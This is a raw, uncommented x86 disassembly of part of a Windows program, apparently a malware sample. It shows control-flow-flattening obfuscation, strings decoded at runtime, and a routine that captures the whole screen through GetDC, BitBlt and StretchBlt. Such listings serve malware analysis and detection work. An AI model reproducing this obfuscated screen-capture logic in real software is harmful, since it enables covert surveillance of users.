nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x4200b0
mov word [ecx], 0
mov ecx, dword [esp + 0xf8]
push dword [esp]
push dword [esp + 8]
push eax
call fcn.00409750
jmp case.0x41e8ca.62
mov word [eax], 0
mov ecx, dword [esp + 0xf8]
push dword [esp]
push dword [esp + 8]
push esi
call fcn.00409750
jmp dword [0x43edf0]
cmp dword [esp + 0x70], 0xfffffff8
jge 0x420110
mov eax, 0xffffffff
jmp 0x420113
lea eax, [edi + 0x10]
push eax
call fcn.00408f60
add esp, 4
mov esi, eax
mov dword [esp + 0x14], 0x99769bad
mov dword [esp + 0x18], 0xa594a768
mov dword [esp + 0x1c], 0xa15aa358
mov dword [esp + 0x20], 0xadaeaf5c
mov word [esp + 0x24], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x11
ja 0x420199
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x6b9dc85b
xor eax, ecx
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x8c]
add al, 0x39
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 0x12
jb 0x420160
movzx ecx, word [ebp]
mov eax, esi
test cx, cx
je 0x4201c1
lea edx, [ebp + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4201b0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x4200e0
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4201e0
jmp 0x4200e0
mov ebx, eax
jmp dword [0x43edf8]
push esi
call fcn.00408f70
add esp, 4
push 0xe050b307
push dword [0x442dd4]
call fcn.004365c0
add esp, 8
push dword [esp + 4]
call eax
jmp dword [0x43ee00]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x43edd8]
mov eax, dword [case.0x41e1b5.133]
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x9c]
jmp dword [0x43ee28]
mov eax, dword [esp + 0x80]
mov byte [esi + eax], 0
push esi
call fcn.004023c0
add esp, 4
mov eax, dword [esp + 0x80]
mov byte [esi + eax], 0
push esi
call fcn.004023c0
add esp, 4
jmp dword [0x43edd4]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xc1669ac4
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc732b687
setl cl
mov dword [ebp - 0x260], ecx
mov ecx, dword [ebp - 0x264]
mov edx, dword [ebp - 0x260]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x8583536
sete cl
mov dword [ebp - 0x2c0], ecx
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp - 0x2c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x202aaa0a
sete cl
mov dword [ebp - 0x2e8], ecx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [ebp - 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x3e0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
sub esp, 0xc
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x18]
sub esp, 0x24
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
mov eax, dword [ebp - 0x34]
mov ecx, eax
add ecx, ecx
not ecx
add ecx, eax
mov eax, dword [ebp - 0x30]
xor eax, 2
and ecx, eax
sub ecx, 0xffffffff
mov eax, 0x35ff2c0d
jl 0x42198e
mov eax, 0x7f547fdb
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [ebp - 0x3dc]
mov ecx, dword [edx + ecx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1803abeb
setl cl
mov dword [ebp - 0x328], ecx
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ebp - 0x328]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xfc1125b8
sete cl
mov dword [ebp - 0x2a8], ecx
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [ebp - 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x85781d67
setl cl
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ebp - 0x1a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x91654101
setl cl
mov dword [ebp - 0x1d8], ecx
mov ecx, dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x1d8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x11f7af45
setl cl
mov dword [ebp - 0x2d0], ecx
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ebp - 0x2d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x85781d67
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x12c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x38]
sub esp, 4
mov dword [esp], eax
call fcn.00408f70
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x3b7af1b2
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x70fad227
sete cl
mov dword [ebp - 0x380], ecx
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
shl dword [edx + 0x14], 1
jb 0x421adf
pop ds
and edi, ebp
mov eax, dword [ebp - 0x2c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbbf642e4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x91654101
sete cl
mov dword [ebp - 0x1d0], ecx
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x1d0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x48b7d350
setl cl
mov dword [ebp - 0x340], ecx
mov ecx, dword [ebp - 0x344]
mov edx, dword [ebp - 0x340]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xe3347e87
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x92007b26
sete cl
mov dword [ebp - 0x1e0], ecx
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xad9c91d5
sete cl
mov dword [ebp - 0x1f0], ecx
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1f0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xbbaa9982
sete cl
mov dword [ebp - 0x220], ecx
mov eax, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x220]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc1669ac4
setl cl
mov dword [ebp - 0x298], ecx
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x298]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x766ba9d8
sete cl
mov dword [ebp - 0x390], ecx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x390]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8ac85ce0
setl cl
mov dword [ebp - 0x1b8], ecx
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0x1b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3b7af1b2
sete cl
mov dword [ebp - 0x308], ecx
mov eax, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x308]
mov eax, dword [eax + ecx*4]
jmp eax
aaa
sahf
xchg esp, eax
int 0x8b
inc ebp
invalid
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xc732b687
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x1803abeb
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xfc1125b8
setl cl
mov dword [ebp - 0x3d0], ecx
mov ecx, dword [ebp - 0x3d4]
mov edx, dword [ebp - 0x3d0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd546face
sete cl
mov dword [ebp - 0x268], ecx
mov eax, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9f37d4ff
sete cl
mov dword [ebp - 0x1e8], ecx
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x7f547fdb
setl cl
mov dword [ebp - 0x3a8], ecx
mov ecx, dword [ebp - 0x3ac]
mov edx, dword [ebp - 0x3a8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x48b7d350
sete cl
mov dword [ebp - 0x338], ecx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x338]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x766ba9d8
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xc732b687
sete cl
mov dword [ebp - 0x258], ecx
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x91654101
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x2c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov al, byte [ebp - 0x1d]
and al, 1
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbff82fc5
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x7d8591dd
setl cl
mov dword [ebp - 0x3b0], ecx
mov ecx, dword [ebp - 0x3b4]
mov edx, dword [ebp - 0x3b0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xbaf9d801
sete cl
mov dword [ebp - 0x218], ecx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd546face
setl cl
mov dword [ebp - 0x290], ecx
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x290]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x6e3e9c8a
sete cl
mov dword [ebp - 0x378], ecx
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x11f7af45
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x42968b01
sete cl
mov dword [ebp - 0x330], ecx
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x766ba9d8
setl cl
mov dword [ebp - 0x3b8], ecx
mov ecx, dword [ebp - 0x3bc]
mov edx, dword [ebp - 0x3b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
in al, 0xeb
add dh, ah
xchg esp, eax
sti
mov ax, word [ebp - 0x38]
sub esp, 4
mov dword [esp], eax
call fcn.00408f70
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x902f9c8e
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xf6e50c97
sete cl
mov dword [ebp - 0x278], ecx
mov eax, dword [ebp - 0x27c]
mov ecx, dword [ebp - 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x11f7af45
sete cl
mov dword [ebp - 0x2c8], ecx
mov eax, dword [ebp - 0x2cc]
mov ecx, dword [ebp - 0x2c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x7f547fdb
sete cl
mov dword [ebp - 0x3a0], ecx
mov eax, dword [ebp - 0x3a4]
mov ecx, dword [ebp - 0x3a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [ebp - 0x1f]
test al, al
mov eax, 0x877b3ac7
jne 0x421f6b
mov eax, 0xc1669ac4
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov byte [ebp - 0x11], 0
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8583536
setl cl
mov dword [ebp - 0x2d8], ecx
mov ecx, dword [ebp - 0x2dc]
mov edx, dword [ebp - 0x2d8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xe3347e87
setl cl
mov dword [ebp - 0x288], ecx
mov ecx, dword [ebp - 0x28c]
mov edx, dword [ebp - 0x288]
mov ecx, dword [ecx + edx*4]
jmp ecx
stosd dword es:[edi], eax
sbb dh, bh
cmpsb byte [esi], byte es:[edi]
sbb al, 0xe0
out 0x43, eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
mov eax, dword [ebp - 0x28]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xe3347e87
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x94]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x877b3ac7
sete cl
mov dword [ebp - 0x1a8], ecx
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x3449271c
sete cl
mov dword [ebp - 0x2f8], ecx
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x7f547fdb
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x154]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x499905a5
sete cl
mov dword [ebp - 0x348], ecx
mov eax, dword [ebp - 0x34c]
mov ecx, dword [ebp - 0x348]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
mov eax, dword [ebp - 0x28]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xf6e50c97
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x202aaa0a
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xad9c91d5
setl cl
mov dword [ebp - 0x1f8], ecx
mov ecx, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x902f9c8e
sete cl
mov dword [ebp - 0x1c8], ecx
mov eax, dword [ebp - 0x1cc]
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x534c57e1
setl cl
mov dword [ebp - 0x368], ecx
mov ecx, dword [ebp - 0x36c]
mov edx, dword [ebp - 0x368]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x58]
mov edi, dword [eax]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [eax]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x3e4]
mov cl, byte [ecx]
mov byte [ebp - 0x44], cl
mov byte [eax], 0x89
mov byte [eax + 1], 0x9a
mov byte [eax + 2], 0x94
mov byte [eax + 3], 0x9e
mov byte [eax + 4], 0x9f
mov byte [eax + 5], 0x95
mov byte [eax + 6], 0x54
mov byte [eax + 7], 0x8d
mov byte [eax + 8], 0x8a
mov byte [eax + 9], 0x86
mov byte [eax + 0xa], 0x3e
mov ecx, 0xb
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0xe
jne 0x4221f9
mov esi, dword [ebp - 0x54]
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
cmp eax, 0xe
jae 0x422242
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [esi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0042a820
add esp, 8
mov ecx, dword [ebp - 0x24]
mov byte [esi + ecx], al
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
jmp 0x42220f
sub esp, 0xc
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp], esi
mov ecx, dword [ebp + 8]
call fcn.00409910
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
test eax, eax
mov eax, 0xc1669ac4
je 0x422274
mov eax, 0x8583536
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x6e3e9c8a
setl cl
mov dword [ebp - 0x3c0], ecx
mov ecx, dword [ebp - 0x3c4]
mov edx, dword [ebp - 0x3c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x499905a5
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x7d8591dd
sete cl
mov dword [ebp - 0x398], ecx
mov eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x398]
mov eax, dword [eax + ecx*4]
jmp eax
xchg edi, eax
xchg edx, eax
cmc
mov ebp, dword es:[eax]
and esi, dword [ebx + ecx*4]
inc ebp
invalid
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x1d], al
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbbf642e4
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x42968b01
setl cl
mov dword [ebp - 0x3c8], ecx
mov ecx, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x3c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp], ecx
mov dword [esp + 4], 0x18
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
mov eax, dword [ebp - 0x40]
add eax, 4
mov dword [ebp - 0x3e0], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x3449271c
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbaf9d801
setl cl
mov dword [ebp - 0x2a0], ecx
mov ecx, dword [ebp - 0x2a4]
mov edx, dword [ebp - 0x2a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x202aaa0a
setl cl
mov dword [ebp - 0x2f0], ecx
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ebp - 0x2f0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x92007b26
setl cl
mov dword [ebp - 0x208], ecx
mov ecx, dword [ebp - 0x20c]
mov edx, dword [ebp - 0x208]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x1803abeb
sete cl
mov dword [ebp - 0x2e0], ecx
mov eax, dword [ebp - 0x2e4]
mov ecx, dword [ebp - 0x2e0]
mov eax, dword [eax + ecx*4]
jmp eax
push eax
sub esp, 0x14
push eax
push eax
sub esp, 0x10
push eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov edi, eax
sub esp, 4
mov dword [esp], 0x4c
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call esi
sub esp, 4
mov dword [esp], 0x4d
call esi
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 7
mov eax, dword [sym.imp.GDI32.dll_GetCurrentObject]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x92007b26
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xbbf642e4
sete cl
mov dword [ebp - 0x230], ecx
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x35ff2c0d
setl cl
mov dword [ebp - 0x318], ecx
mov ecx, dword [ebp - 0x31c]
mov edx, dword [ebp - 0x318]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x877b3ac7
setl cl
mov dword [ebp - 0x1c0], ecx
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x1c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [ebp - 0x1e]
and al, 1
movzx eax, al
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
sub eax, 0x85781d67
sete cl
mov dword [ebp - 0x198], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x198]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x82c088d1
sete cl
mov dword [ebp - 0x190], ecx
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x2ca80cb
sete cl
mov dword [ebp - 0x2b0], ecx
mov eax, dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x534c57e1
sete cl
mov dword [ebp - 0x350], ecx
mov eax, dword [ebp - 0x354]
mov ecx, dword [ebp - 0x350]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9f37d4ff
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp - 0x30]
mov ebx, dword [ebp - 0x18]
sub esp, 0x2c
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbaf9d801
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.004178d0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x92007b26
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2ca80cb
setl cl
mov dword [ebp - 0x2b8], ecx
mov ecx, dword [ebp - 0x2bc]
mov edx, dword [ebp - 0x2b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x499905a5
setl cl
mov dword [ebp - 0x370], ecx
mov ecx, dword [ebp - 0x374]
mov edx, dword [ebp - 0x370]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xad9c91d5
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbbaa9982
setl cl
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebp - 0x22c]
mov edx, dword [ebp - 0x228]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x3b7af1b2
setl cl
mov dword [ebp - 0x310], ecx
mov ecx, dword [ebp - 0x314]
mov edx, dword [ebp - 0x310]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.004178d0
